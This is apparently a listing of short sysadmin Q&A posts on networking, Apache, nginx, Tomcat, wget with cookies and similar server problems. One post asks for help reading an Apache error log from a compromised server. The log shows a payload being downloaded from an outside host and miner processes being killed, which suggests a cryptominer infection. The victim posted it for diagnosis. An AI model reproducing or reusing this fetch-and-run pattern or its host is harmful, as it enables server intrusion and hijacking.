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  • Free or very Cheap VPN server software with high concurrent users count

    - by Martin KS
    I'm hoping to implement a VPN whereby about 200 concurrent users can log in to briefly access my network. I had a look at OpenVPN and this seemed excellent, but was hoping that there would be a less costly option on a per-concurrent-user basis. I've no need for particularly strong security, and my only other requirement is that I would need to be able to add users in bulk via csv or similar. Does anyone have any suggestions?

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  • NFC SDcard available in stores anywhere?

    - by Joqn
    In recent years, several companies announced SDcards adding NFC communication to smartphones: http://www.engadget.com/2010/03/16/first-data-and-tyfone-announce-partnership-for-nfc-payments-by-m/ http://www.digitimes.com/supply_chain_window/story.asp?datepublish=2011/06/27&pages=PR&seq=200 However, I cannot find any online store that would sell such a card. Any ideas, or did they all not make it to market?

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  • Apache returning text/html on some png files

    - by Oren
    I have an Apache web server that has a sub folder for images. For some reason, a few of the .png files are returned as text/html and not as image/png. There is nothing indicating a permission problem and the files return with code 200 and with full size. I made sure that image/png is set and even tried forcing it with .htaccess Any idea where to look next? Edit: looks like an .htaccess configuration problem on a parent directory.

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  • Diff 2 files while ignoring parts of lines

    - by Millianz
    I would like to diff a file system. Currently my bash script prints out the file system recursively into a file (ls -l -R) and diffs it with an expected output. An example for a line in this file would be: drw---- 100000f3 00000400 0 ./foo/ My current diff command is diff "$TEMP_LOG" "$DIFF_FILE_OUT" --strip-trailing-cr --changed-group-format='%' --unchanged-group-format='' "$SubLog" As you can see I ignore additional lines in the current output file, I only care about lines that match with the master output. I now have the problem though that some files may differ in size, or a folder might even have a different name, but due to it's location I know what access rights it should have. For example: Output: ------- 00000000 00000000 528 ./foo/bar.txt Master: ------- 00000000 00000000 200 ./foo/bar.txt Only the size differs here, and it doesn't matter, I would like to just ignore certain parts of the diff, kind of like an ansi c comment. Master: ------- 00000000 00000000 /*200*/ ./foo/bar.txt -- OR -- Master: d------ 00000000 00000000 /*10*/ ./foo//*123123*///*76456546*//bar.txt Output: d------ 00000000 00000000 0 ./foo/asd/sdf/bar.txt And still have it diff correctly. Is this even possible with diff, or will I have to write a custom script for it? Since I'm fairly new to cygwin I might be using the completely wrong tool all together, I'm happy for any suggestions. Update: Taking a step back, here is the general task at hand that I want to achieve. I want to write a script that checks the file system to see if the read/write permissions are set up correctly. The structure of the file system is under my control, so I don't have to worry about it changing too much. Sometimes folders/files might not be present, but if they are their permissions must be checked. For Example assume that the following is a snapshot of the current file system structure drw ./foo drw ./foo/bar -rw ./foow/bar/bar.txt drw ./foo/baz -rw ./foo/baz/baz.txt And this is what the file system structure might dictate, i.e. if these folders / files are present, the permissions must match. drw ./foo drw ./foo/bar -rw ./foo/bar/bar.txt --- ./foo/bar/foobar.txt drw ./foo/baz -rw ./foo/baz/foobaz.txt In this case the file system checked out ok, since all files present match their expected values. The situation becomes more complicated as soon as certain folders might have any arbitrary name, only due to their location I know what their permissions should be. Assume that the directory ./foo/bar in the above example might be such a case, i.e. instead of bar the folder could have any name, but still match the -rw permissions. This seems like a very complicated situation, and I'm not even sure if I can solve it with bash scripting alone. I might have to write an actual application.

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  • How to stop processes from going into the page file

    - by Not a Name
    I have a server, and windows vista, 64-bit, 4gb ram. Sometimes the server randomly drops into the page file, and disconnects everyone who was online. Only after I click the cmd.exe window does it comes back out. How do I mark a program as not eligible for the page file? If this is relevant, I'm using a Minecraft server with the following command line arguments: java -server -Xmx256M -Xms256M -XX:+UseConcMarkSweepGC -XX:+DisableExplicitGC -XX:+UseAdaptiveGCBoundary -XX:MaxGCPauseMillis=200 -XX:-UseGCOverheadLimit -XX:SurvivorRatio=16 -Xnoclassgc -XX:UseSSE=3 -XX:ParallelGCThreads=3 -jar minecraft_server.jar nogui

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  • Nagios only create warning for a http service

    - by MeinAccount
    I would like to also monitor non-crucial services with nagios like for example our GitLab-server or phpMyAdmin instance. Is there any way to just create warnings instead of circuital errors for some services? At the moment I'm using the following: define service { host_name localhost use generic-service service_description HTTP GitLab check_command check_www!git.example.com!'/users/sign_in' } define command { command_name check_www command_line /usr/lib/nagios/plugins/check_http -H '$ARG1$' -I '$HOSTADDRESS$' -e 'HTTP/1.1 200 OK' -u '$ARG2$' }

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  • Windows doesn't get access to internet though linux easily does

    - by flashnik
    We have a very interesting problem. The network is configured in this way: internet is connected to Trendnet switch TS DHCP server at 192.168.0.1 running on Ubuntu (S) is connected to internet switch DNS is also configured on 192.168.0.1 on S D-Link Wi-Fi boosters are connected to switch TS PCs use D-Link PCI-E Wi-Fi cards to get access to network PCs have both Ubuntu and Windows 7 There are about 40 PCs. When PC is booted to Ubuntu it easily gets access to internet. But when it's booted to Windows 7, it gets a valid IP-address, but doesn't get access to internet. The address, mask, DNS, GW-address are totally the same as when it's booted under Ubuntu. The S is reacheble and pingable. Sometimes when we are lucky the PC gets access to Internet, but after rebooting it can lose it. When PC under Windows has access, it has totally the same settings as when it doesn't. What can be done? UPDATE I shared a dropbox with 2 captures of traffic. Ping.pcap is a capture of pinging 8.8.8.8. And google-browser.pcap is a capture of opening a google.com in a browser, both of them are in tcpdump formats and made by Wireshark on Win PC. The MAC of Win PC ends on b7:63 and IP is 192.168.0.130. UPDATE2 This is ifconfig output from Ubuntu Server eth0 Link encap:Ethernet HWaddr 00:1e:67:13:d5:8d inet addr:193.200.211.74 Bcast:193.200.211.78 Mask:255.255.255.0 inet6 addr: fe80::21e:67ff:fe13:d58d/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:196284 errors:0 dropped:44 overruns:0 frame:0 TX packets:190682 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:158032255 (158.0 MB) TX bytes:156441225 (156.4 MB) Interrupt:19 Memory:c1400000-c1420000 eth0:2 Link encap:Ethernet HWaddr 00:1e:67:13:d5:8d inet addr:192.168.0.1 Bcast:192.168.0.254 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:19 Memory:c1400000-c1420000 eth1 Link encap:Ethernet HWaddr 00:1e:67:13:d5:8c UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) Interrupt:16 Memory:c1300000-c1320000 nslookup from Win results in DNS request timeout, nbtstat in 'not found'.

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  • Best way to segment traffic, Vlan or subnet

    - by thebird
    We have a medium sized network of around 200 nodes and are currently in the process of replacing old daisy chained switches with stack-able or chassis style switches. Right now our network is broken up via subnet; production, management, IP, etc each on a separate subnet. Does anyone have an opinion on whether creating Vlan's instead of subnets would be more beneficial? Our general goal is to prevent bottlenecks, separate traffic for security, and to manage traffic with more ease.

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  • Echo 404 directly from nginx to improve performance

    - by user64204
    I am in charge of production servers serving static content for a website. Those servers are constantly being crawled by bots looking for potential exploits (which isn't that much of a problem security-wise because no application can be reached behind the web server) but generates thousands of 404 per day, sometimes per hour. I am looking into ways of blocking those requests but it's tricky (you want to make sure you don't block legitimate traffic and these bots are becoming more and more clever at looking like they're legit) and is going to take me a while to find an acceptable solution. In the meantime I would like to reduce the performance impact of serving those 404 pages. Indeed we're using nginx which by default is configured to serve it's 404 page from the disk (This can be changed using the error_page directive but in the end the 404 will either have to be served from disk or from another external source (e.g. upstream application which would be worst)) which isn't ideal. I ran a test with ab on my local machine with a basic configuration: in one case I echo a message directly from nginx so the disk isn't touched at all, in the other case I hit a missing page and nginx serves its 404 from disk. server { # [...] the default nginx stuff location / { } location /this_page_exists { echo "this page was found"; } } Here are the test results (my laptop has Intel(R) Core(TM) i7-2670QM + SSD in case you're wondering why they are so high): $ ab -n 500000 -c 1000 http://localhost/this_page_exists Requests per second: 25609.16 [#/sec] (mean) $ ab -n 500000 -c 1000 http://localhost/this_page_doesnt_exists Requests per second: 22905.72 [#/sec] (mean) As you can see, returning a value with echo is 11% ((25609-22905)÷22905×100) faster than serving the 404 page from disk. Accordingly I would like to echo a simple 404 Page not Found string from nginx. I tried many things so far but they all failed, essentially the idea was this: location / { try_files $uri @not_found; } location @not_found { echo "404 - Page not found"; } The problem is that as soon as the echo directive is used, the http response code is set to 200. I tried changing that by doing error_page 200 = 400 but that breaks the configuration. How can I serve a 404 page directly from nginx? (without hacking the source which may be might next step)

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  • Tomcat maximum threads

    - by Clinton Bosch
    I understand that setting the maximum number of connections available in a connection pool should be the same as your maxThreads configured for your Tomcat server (which correlates to the number of requests that can be handled) For tomcat the default is 200, I assume there is a maximum that you can safely configure for your Tomcat server before things start getting out of control, which I assume is also governed by the resources of the machine it is running on. I am trying to get an understanding of the size of maxThreads that people are using with success, is 1000 too big?

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  • wget-ing protected content with exported cookies

    - by XXL
    i have exported a pair of cookies from firefox that are valid for the URL in question and tried accessing/downloading the protected content off that addr., but the end result is a return to the login page. i have tried doing about the same thing for 3 other websites with similiar outcome. any clues as to what might i be doing wrong? the syntax i'm using: wget --load--cokies=FILE URL DEBUG output created by Wget 1.12 on linux-gnu. Stored cookie www.x.org -1 (ANY) / [expiry 1901-12-13 22:25:44] c_secure_login lz8xZQ%3D%3D Stored cookie www.x.org -1 (ANY) / [expiry 1901-12-13 22:25:44] c_secure_pass 2fd4e1c67a2d28fced849ee1bb76e74a Stored cookie www.x.org -1 (ANY) / [expiry 1901-12-13 22:25:44] c_secure_uid GZX4TDA%3D --2011-01-14 13:57:02-- www.x.org/download.php?id=397003 Resolving www.x.org... 1.1.1.1 Caching www.x.org = 1.1.1.1 Connecting to www.x.org|1.1.1.1|:80... connected. Created socket 5. Releasing 0x0943ef20 (new refcount 1). ---request begin--- GET /download.php?id=397003 HTTP/1.0 User-Agent: Wget/1.12 (linux-gnu) Accept: / Host: www.x.org Connection: Keep-Alive ---request end--- HTTP request sent, awaiting response... ---response begin--- HTTP/1.1 302 Found Date: Fri, 14 Jan 2011 11:26:19 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny8 Set-Cookie: PHPSESSID=5f2fd97103f8988554394f23c5897765; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: www.x.org/login.php?returnto=download.php%3Fid%3D397003 Vary: Accept-Encoding Content-Length: 0 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html ---response end--- 302 Found Stored cookie www.x.org -1 (ANY) / [expiry none] PHPSESSID 5f2fd97103f8988554394f23c5897765 Registered socket 5 for persistent reuse. Location: www.x.org/login.php?returnto=download.php%3Fid%3D397003 [following] Skipping 0 bytes of body: [] done. --2011-01-14 13:57:02-- www.x.org/login.php?returnto=download.php%3Fid%3D397003 Reusing existing connection to www.x.org:80. Reusing fd 5. ---request begin--- GET /login.php?returnto=download.php%3Fid%3D397003 HTTP/1.0 User-Agent: Wget/1.12 (linux-gnu) Accept: / Host: www.x.org Connection: Keep-Alive Cookie: PHPSESSID=5f2fd97103f8988554394f23c5897765 ---request end--- HTTP request sent, awaiting response... ---response begin--- HTTP/1.1 200 OK Date: Fri, 14 Jan 2011 11:26:20 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 2171 Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Content-Type: text/html ---response end--- 200 OK Length: 2171 (2.1K) [text/html] Saving to: `x.out' 0K .. 100% 18.7M=0s 2011-01-14 13:57:02 (18.7 MB/s) - `x.out' saved [2171/2171]

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  • View a pdf with quick webview though apache proxy

    - by Musa
    I have a site(IIS) that is accessed via a proxy in apache(on an IBM i). This site serves PDFs which has quick web view and if I access a pdf directly from the IIS server the PDFs starts to display immediately but if I go through the proxy I have to wait until the entire pdf downloads before I can view it. In the apache config file I use ProxyPass /path/ http://xxx.xxx.xxx.xxx/ <LocationMatch "/path/"> Header set Cache-Control "no-cache" </LocationMatch> I tried adding SetEnv proxy-sendcl to LocationMatch directive this had no effect. The PDFs that view quickly makes a lot of partial requests This is the initial request and response headers GET http://xxx.xxx.xxx.xxx/xxx.PDF HTTP/1.1 Host: xxx.xxx.xxx.xxx Proxy-Connection: keep-alive Cache-Control: no-cache Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: chocolatechip HTTP/1.1 200 OK Via: 1.1 xxxxxxxx Connection: Keep-Alive Proxy-Connection: Keep-Alive Content-Length: 15330238 Date: Mon, 25 Aug 2014 12:48:31 GMT Content-Type: application/pdf ETag: "b6262940bbecf1:0" Server: Microsoft-IIS/7.5 Last-Modified: Fri, 22 Aug 2014 13:16:14 GMT Accept-Ranges: bytes X-Powered-By: ASP.NET This is a partial request and response GET http://xxx.xxx.xxx.xxx/xxx.PDF HTTP/1.1 Host: xxx.xxx.xxx.xxx Proxy-Connection: keep-alive Cache-Control: no-cache Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Accept: */* Referer: http://xxx.xxx.xxx.xxx/xxxx.PDF Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: chocolatechip Range: bytes=0-32767 HTTP/1.1 206 Partial Content Via: 1.1 xxxxxxxx Connection: Keep-Alive Proxy-Connection: Keep-Alive Content-Length: 32768 Date: Mon, 25 Aug 2014 12:48:31 GMT Content-Range: bytes 0-32767/15330238 Content-Type: application/pdf ETag: "b6262940bbecf1:0" Server: Microsoft-IIS/7.5 Last-Modified: Fri, 22 Aug 2014 13:16:14 GMT Accept-Ranges: bytes X-Powered-By: ASP.NET These are the headers I get if I go through he proxy GET /path/xxx.PDF HTTP/1.1 Host: domain:xxxx Connection: keep-alive Cache-Control: no-cache Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 HTTP/1.1 200 OK Date: Mon, 25 Aug 2014 13:28:42 GMT Server: Microsoft-IIS/7.5 Content-Type: application/pdf Last-Modified: Fri, 22 Aug 2014 13:16:14 GMT Accept-Ranges: bytes ETag: "b6262940bbecf1:0"-gzip X-Powered-By: ASP.NET Cache-Control: no-cache Expires: Thu, 24 Aug 2017 13:28:42 GMT Vary: Accept-Encoding Content-Encoding: gzip Keep-Alive: timeout=300, max=100 Connection: Keep-Alive Transfer-Encoding: chunked I'm guessing its because the proxy uses Transfer-Encoding: chunked but I'm not sure and wasn't able to turn it off to check. Browser Chrome 36.0.1985.143 m Using the native PDF viewer Any help to get the pdf quick web view through the proxy working would be appreciated.

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  • D-Link DIR-300 slows down / loses network

    - by basic6
    there are 2 buildings (A and B). In bldg A is an open WLAN (which I'm allowed to use btw). In bldg B is a computer that I want to connect to that network. So I flashed an old D-Link DIR-300 AP with DD-WRT, mounted it to the wall (bldg B) near a window, attached a 13 dBi directional antenna (pointing to bldg A) and configured it as AP client in that wireless network. Then there's another AP, connected to the D-Link AP, acting as standard access point, which the computer is connected to. That's basically working so far, but: Every now and then the connection is lost. Not the connection between the computer and the D-Link (I can access the DD-WRT admin page normally) or the connection between the D-Link and the WLAN (in Status - Wireless it says it's still connected to the network), but when I want to access a web page (which only works if I'm connected to the wireless network from bldg A), my Firefox keeps "Looking for" (name resolution) without finding anything. When I reset the D-Link (power off, power on) in this situation, after some moments, everything's working fine again (Internet access). I've no idea why this is happening, but usually it's at most every few weeks (most times when nobody was using the computer, so no traffic). Compared to the connection speed when I connect directly to the WLAN in bldg A (Laptop), the speed in bldg B is rather slow, but I have the impression that this difference is worse in the last few days. A few minutes ago, I got 582 KB/s down and 911 KB/s up in bldg A (directly/laptop) and 84 KB/s down and 9 KB/s up in bldg B. The speed in bldg B used to be way higher (I remember 200 KB/s up) while the actual network speed in bldg A was lower than it is now (close to those 200). I'm aware that the wireless connection between those buildings should slow things down, but I'm wondering why this difference has become that extreme. Thanks for any tips... Update: I currently want to upload a large file (1.5 GB) via FTP (FileZilla). Since that caused the D-Link to disconnect (as described in first post), I took my laptop to bldg A, connected directly to the original WLAN (bypassing my D-Link) and tried the same upload. Guess what - same issue: At some point the connection is dead (at this point I would have reset my D-Link if I was connected to it). Just as the D-Link, my laptop is still connected, but not even name resolution is working ("Looking for..." in Firefox). After reconnecting, it's working again. Maybe my D-Link isn't the problem at all...

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  • how to optimize apache on web-server

    - by Prakash
    how can I optimize the server with following configuration. It takes too much time to load a page. IBM X3200 M3 Server - 1 Intel Xeon Processor with 4 GB Ram Below is my current configuration for apache: Start Servers: 5 (Default) Minimum Spare Servers: 10 Maximum Spare Servers: 20 Server Limit: 500 Max Clients: 500 Max Requests Per Child: 10000 (Default) Keep-Alive: On Keep-Alive Timeout: 5 Max Keep-Alive Requests: 100 Timeout: 200

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  • Apache error log interpretation

    - by HTF
    It looks like someone gained access to my server. How I can find out which Apache vHosts this log is related to? How these commands from the log are invoked and how/why they are printed to the log file - is this some remote shell or PHP script? /var/log/httpd/error_log mkdir: cannot create directory `/tmp/.kdso': File exists --2014-06-13 13:29:17-- http://updates.dyndn-web.com/abc.txt Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 5055 (4.9K) [text/plain] Saving to: `abc.txt' 0K .... 100% 303K=0.02s 2014-06-13 13:29:17 (303 KB/s) - `abc.txt' saved [5055/5055] % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed ^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M101 5055 101 5055 0 0 79686 0 --:--:-- --:--:-- --:--:-- 154k minerd64: no process killed minerd32: no process killed named: no process killed kernelupdates: no process killed kernelcfg: no process killed kernelorg: no process killed ls: cannot access /tmp/.ICE-unix: No such file or directory mkdir: cannot create directory `/tmp': File exists --2014-06-13 13:29:18-- http://updates.dyndn-web.com/64.tar.gz Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 205812 (201K) [application/x-tar] Saving to: `64.tar.gz' 0K .......... .......... .......... .......... .......... 24% 990K 0s 50K .......... .......... .......... .......... .......... 49% 2.74M 0s 100K .......... .......... .......... .......... .......... 74% 2.96M 0s 150K .......... .......... .......... .......... .......... 99% 3.49M 0s 200K 100% 17.4M=0.1s 2014-06-13 13:29:18 (1.99 MB/s) - `64.tar.gz' saved [205812/205812] sh: ./kernelupgrade: Permission denied

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  • VPN Connection Causes Internal LAN Connection Loss with Server

    - by sleepisfortheweak
    I've tried configuring basic PPTP VPN at my small business using a number of different tutorials. As far as I can tell, the actual VPN connection worked fine, but upon connecting a client, the Server 'disappears' from the internal LAN. The RRAS service must be stopped before the connection is restored. My Setup: The network is simply a DSL Gateway/Router to the outside functioning as NAT/Firewall/DHCP. The server is a Win Server 2008 machine at fixed IP 192.168.1.200. The server has 1 NIC, so I used the 'custom' option when configuring RRAS. The RRAS settings should be default except that I've disabled ports for connection types I'm not using and reduced PPTP ports to 10. I've also created an address pool and disabled DHCP packet forwarding. The server only functions as a File Share and now a VPN Server. Local LAN computers all have mapped network shares to the server authenticated based on Local User/Group setup on the server. The Problem: The moment a client connects through VPN, the server 'disappears' from the local network. All mapped drives disconnect and there is no response to a ping 192.168.1.200. Even if the client disconnects, the server does not re-appear at that address until the RRAS service is stopped. I've Tried: Using an Address Pool inside and outside the local subnet. Using DCHP Relay Checking Inbound/Outbound filters (none enabled) The fact that nothing I've tried has had any effect, and that I can connect and successfully obtain an IP tells me that it's something more fundamental I'm missing. My gut tells me that it's something to do with the second IP address added by the VPN client somehow taking over the interface or traffic from the local LAN accidently getting routed to the VPN client instead of handled at the server once RRAS has become 'active' when a client connects. Hopefully this may be obvious to someone with real IT experience. I've been doing this a while and almost never been stumped. I'm starting to think it might actually be something tricky since my setup is pretty basic yet refuses to work. I'll be happy to include more info if this doesn't ring any bells right away for anyone. Thanks

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  • Monitoring apache's caching.

    - by Synchro
    I'm running mod_mem_cache with mod_cache, but I don't seem to have any way of telling whether images are served from the cache or not, so I can't tell how well it's working. Is there some way of seeing via mod_status, adding cache status headers to responses or similar? The servers it's on are quite happily handling sustained loads of about 200 requests/sec, but I can't tell if/how much the caching is helping that.

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  • How to access Jenkins remotely on Ubuntu 12.04 server?

    - by quincyglenn
    I have installed Jenkins and opened port 8080 on Ubuntu 12.04 server but still can't access Jenkins remotely. Below is the procedures I took. # Install Jenkins, enable UFW and open port 8080 sudo apt-get install jenkins sudo ufw enable sudo ufw allow 8080 sudo ufw reload # Check the status sudo ufw status 8080 ALLOW Anywhere 8080 ALLOW Anywhere (v6) # Locally curl -I localhost:8080 HTTP/1.1 200 OK Server: Winstone Servlet Engine v0.9.10 ... # On an external machine curl -I [ip]:8080 couldn't connect to host

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  • how to acces host services in virtual box with out additional networking

    - by jspeshu
    i have ubuntu 10.04 and virtual box running win xp now i want to test my page layout in ie so i want to access apache from with in my virtual box how can i set up this with out additional networking on the host (i.e. i want to have some kind'a peer to peer connection between the host and the guest) EDIT: auto eth0 iface eth0 inet static address 192.168.0.100 netmask 255.255.255.0 network 192.168.0.0 broadcast 192.168.0.255 gateway 192.168.0.1 and for the win xp i gave a static ip address 192.168.0.200 netmask 255.255.255.0 gateway 192.168.0.1

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  • Can't ping Ip over bridge

    - by tmn29a
    I'm unable to ping another host over a bridge I created, I can't see the error -.- It's a remote machine running debian stable with some backports for which I want to set up DHCP on the new Subnet 172.30.xxx.xxx to be used for KVM-Guests. ifconfig : bond0 Link encap:Ethernet HWaddr e4:11:5b:d4:94:30 inet addr:10.54.2.84 Bcast:10.54.2.127 Mask:255.255.255.192 inet6 addr: fe80::e611:5bff:fed4:9430/64 Scope:Link UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1 RX packets:34277 errors:0 dropped:0 overruns:0 frame:0 TX packets:18379 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:2638709 (2.5 MiB) TX bytes:2887894 (2.7 MiB) br0 Link encap:Ethernet HWaddr f2:fc:4d:7f:15:f0 inet addr:172.30.254.66 Bcast:172.30.254.127 Mask:255.255.255.192 inet6 addr: fe80::f0fc:4dff:fe7f:15f0/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:252 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:10800 (10.5 KiB) Pings : ping -I br0 172.30.xxx.65 PING 172.30.xxx.65 (172.30.xxx.65) from 172.30.xxx.66 br0: 56(84) bytes of data. --- 172.30.xxx.65 ping statistics --- 3 packets transmitted, 0 received, 100% packet loss, time 2017ms ping -I bond0 172.30.254.65 PING 172.30.xxx.65 (172.30.xxx.65) from 10.54.2.84 bond0: 56(84) bytes of data. 64 bytes from 172.30.x.65: icmp_req=1 ttl=64 time=0.599 ms 64 bytes from 172.30.x.65: icmp_req=2 ttl=64 time=0.575 ms 64 bytes from 172.30.x.65: icmp_req=3 ttl=64 time=0.565 ms --- 172.30.x.65 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1999ms rtt min/avg/max/mdev = 0.565/0.579/0.599/0.031 ms Route : Destination Gateway Genmask Flags Metric Ref Use Iface 172.30.x.64 * 255.255.255.192 U 0 0 0 br0 10.54.x.64 * 255.255.255.192 U 0 0 0 bond0 default 10.54.x.65 0.0.0.0 UG 0 0 0 bond0 default 172.30.x.65 0.0.0.0 UG 0 0 0 br0 The Interface : cat /etc/network/interfaces auto lo br0 iface lo inet loopback # Bonding Interface auto bond0 iface bond0 inet static address 10.54.x.84 netmask 255.255.255.192 network 10.54.x.64 gateway 10.54.x.65 slaves eth0 eth1 bond_mode active-backup bond_miimon 100 bond_downdelay 200 bond_updelay 200 iface br0 inet static bridge_ports bond0 address 172.30.x.66 broadcast 172.30.x.127 netmask 255.255.x.192 gateway 172.30.x.65 bridge_maxwait 0 If you need more info please ask. Thanks for your help !

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  • Repeated requests on our server?

    - by pitty.platsch
    I encountered something strange in the access log of our Apache server which I cannot explain. Requests for webpages that I or my colleagues do from the office's Windows network get repeated by another IP (that we don't know) a couple of seconds later. The user agent repeating our requests is Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Has anyone an idea? Update: I've got some more information now. The referrer of the replicate is set to the URL I requested before and it's not the exact same request as the protocol version is changed from 'HTTP/1.1' to 'HTTP/1.0'. The IP is not just one, it's just one of a subnet (80.40.134.*). It's just the first request to a resource that's get repeated, so it seems the "spy" is building up some kind of cache of visited places. The repeater is also picky. I tried randomly URLs with different HTTP status codes and different file patterns. 301s and 200s are redone, 404s not. Image extensions seem to be ignored. While doing my tests I discovered that this behavior seems to be common as I found other clients visiting just after the first requests: 66.249.73.184 - - [25/Oct/2012:10:51:33 +0100] "GET /foobar/ HTTP/1.1" 200 10952 "-" "Mediapartners-Google" 50.17.125.180 - - [25/Oct/2012:10:51:33 +0100] "GET /foobar/ HTTP/1.1" 200 41312 "-" "Mozilla/5.0 (compatible; proximic; +http://www.proximic.com/info/spider.php)" I wasn't aware about this practice, so I don't see it that much as a threat anymore. I still want to find out who this is, so any further help is appreciated. I'll try later if this also happens if I query some other server where I have access to the access logs and will update here then.

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  • wget-ing protected content with exported cookies

    - by XXL
    I have exported a pair of cookies from Firefox that are valid for the URL in question and tried accessing/downloading the protected content off that address, but the end result is a return to the login page. I have tried doing the same thing for 3 other websites with similar outcome. Any clues as to what I might be doing wrong? The syntax I'm using: wget --load--cookies=FILE URL ----------------------------------------------- DEBUG output created by Wget 1.12 on linux-gnu. Stored cookie www.x.org -1 (ANY) / <permanent> <insecure> [expiry 1901-12-13 22:25:44] c_secure_login lz8xZQ%3D%3D Stored cookie www.x.org -1 (ANY) / <permanent> <insecure> [expiry 1901-12-13 22:25:44] c_secure_pass 2fd4e1c67a2d28fced849ee1bb76e74a Stored cookie www.x.org -1 (ANY) / <permanent> <insecure> [expiry 1901-12-13 22:25:44] c_secure_uid GZX4TDA%3D --2011-01-14 13:57:02-- www.x.org/download.php?id=397003 Resolving www.x.org... 1.1.1.1 Caching www.x.org => 1.1.1.1 Connecting to www.x.org|1.1.1.1|:80... connected. Created socket 5. Releasing 0x0943ef20 (new refcount 1). ---request begin--- GET /download.php?id=397003 HTTP/1.0 User-Agent: Wget/1.12 (linux-gnu) Accept: */* Host: www.x.org Connection: Keep-Alive ---request end--- HTTP request sent, awaiting response... ---response begin--- HTTP/1.1 302 Found Date: Fri, 14 Jan 2011 11:26:19 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny8 Set-Cookie: PHPSESSID=5f2fd97103f8988554394f23c5897765; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: www.x.org/login.php?returnto=download.php%3Fid%3D397003 Vary: Accept-Encoding Content-Length: 0 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html ---response end--- 302 Found Stored cookie www.x.org -1 (ANY) / <session> <insecure> [expiry none] PHPSESSID 5f2fd97103f8988554394f23c5897765 Registered socket 5 for persistent reuse. Location: www.x.org/login.php?returnto=download.php%3Fid%3D397003 [following] Skipping 0 bytes of body: [] done. --2011-01-14 13:57:02-- www.x.org/login.php?returnto=download.php%3Fid%3D397003 Reusing existing connection to www.x.org:80. Reusing fd 5. ---request begin--- GET /login.php?returnto=download.php%3Fid%3D397003 HTTP/1.0 User-Agent: Wget/1.12 (linux-gnu) Accept: */* Host: www.x.org Connection: Keep-Alive Cookie: PHPSESSID=5f2fd97103f8988554394f23c5897765 ---request end--- HTTP request sent, awaiting response... ---response begin--- HTTP/1.1 200 OK Date: Fri, 14 Jan 2011 11:26:20 GMT Server: Apache X-Powered-By: PHP/5.2.6-1+lenny8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 2171 Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Content-Type: text/html ---response end--- 200 OK Length: 2171 (2.1K) [text/html] Saving to: `x.out' 0K .. 100% 18.7M=0s 2011-01-14 13:57:02 (18.7 MB/s) - `x.out' saved [2171/2171]

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  • IPTV: how to minimize the upload bandwidth

    - by gjmc
    hello guys, my questions would be in the field of IPTV Kindly consider the below: 200 channels, mp4 @ 1000kbps 1000 users. The main goal is to minimize the upload bandwidth required for this project. Also consider that the streaming server will be in different country then the clients. Thank you guys!

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